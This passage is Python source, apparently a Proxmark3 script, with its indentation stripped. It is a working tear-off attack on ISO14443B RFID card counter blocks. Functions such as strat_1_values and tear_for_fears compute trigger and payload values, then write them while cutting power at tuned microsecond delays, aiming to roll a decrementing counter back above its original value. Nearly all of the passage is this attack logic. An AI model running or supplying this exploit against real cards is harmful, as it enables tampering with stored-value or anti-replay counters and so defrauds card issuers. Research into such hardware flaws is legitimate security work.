cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
set_space(1)
dic = ponderated_read(b_num, repeat_read, sleep_over)
for value, occur in dic.items():
indic = colors.reset
if value > original_value:
indic = colors.purple
elif value < original_value:
indic = colors.lightblue
print(
f"{(occur / repeat_read) * 100} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
target = max(dic)
read_back = 0
# There is no ACK for write so we use a read to check distance coherence
if target > (original_value):
print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
f"\nKeep card at the max distance from the reader.\n")
while (read_back != (target - 1)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 1)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
while (read_back != (target - 2)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 2)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
set_space(0)
def strat_1_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 1 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 30
# Check for leverageable bits positions,
# Start from bit 32, while their is no bit at 1 decrement position
while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable pair of bits at 1,
# While their is bits at 1, decrement position
while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
return (trigger_value, payload_value)
def strat_2_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 2 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 31
# Check for leverageable bit position,
# Start from bit 32, while their is no bit at 1 decrement position
while not (original_value & (0b1 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable bit at 1,
# While their is bits at 1, decrement position
while (original_value & (0b1 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
return (trigger_value, payload_value)
def tear_for_fears(b_num, strategy):
"""try to roll back `b_num` counter using `strategy`
Args:
b_num: block number
"""
################################################################
######### You may want to play with theses parameters #########
start_taring_delay = 130
repeat_read = 8
repeat_write = 5
sleep_quick = 0
sleep_long = 0.3
################################################################
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
tmp = ponderated_read(b_num, repeat_read, sleep_long)
original_value = max(tmp, key=tmp.get)
if strategy == 1:
leverageable_values = strat_1_values(original_value)
else:
leverageable_values = strat_2_values(original_value)
if leverageable_values is None:
print(
f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
return
else:
(trigger_value, payload_value) = leverageable_values
print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
f" : { bin(trigger_value)[2:].zfill(32)}")
print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
f" : { bin(payload_value)[2:].zfill(32)}\n")
print(
f"{colors.bold}Color coding :{colors.reset}\n"
f"{colors.reset}\tValue we started with{colors.reset}\n"
f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
f"{colors.purple}\tAbove initial value {colors.reset}")
if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
return
trigger_flag = False
payload_flag = False
t4fears_flag = False
print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
tear_us = start_taring_delay
while not trigger_flag:
for _ in range(repeat_write):
if t4fears_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
if trigger_flag:
break
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
trigger_flag = True
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
# Here we want 100% chance of having primed one sub-counter
# The logic is inverted for payload
if value > original_value:
indic = colors.purple
t4fears_flag = True
trigger_flag = False
elif value == trigger_value:
indic = colors.green
elif value < original_value:
indic = colors.lightblue
else:
trigger_flag = False
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
f"{''.join(map(str,int_to_slist(payload_value)))}\n")
tear_us = start_taring_delay
while True:
for _ in range(repeat_write):
if payload_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
tmp = ponderated_read(b_num, repeat_read, sleep_long)
if max(tmp, key=tmp.get) > original_value:
print(f"{colors.bold}Success ! {colors.reset}")
return
else:
payload_flag = False
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
if value > original_value:
indic = colors.purple
payload_flag = True
elif value == payload_value:
indic = colors.green
payload_flag = True
elif value < trigger_value:
indic = colors.lightblue
elif value > trigger_value:
indic = colors.lightred
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
if __name__ == "__main__":
main()

Some files were not shown because too many files have changed in this diff Show more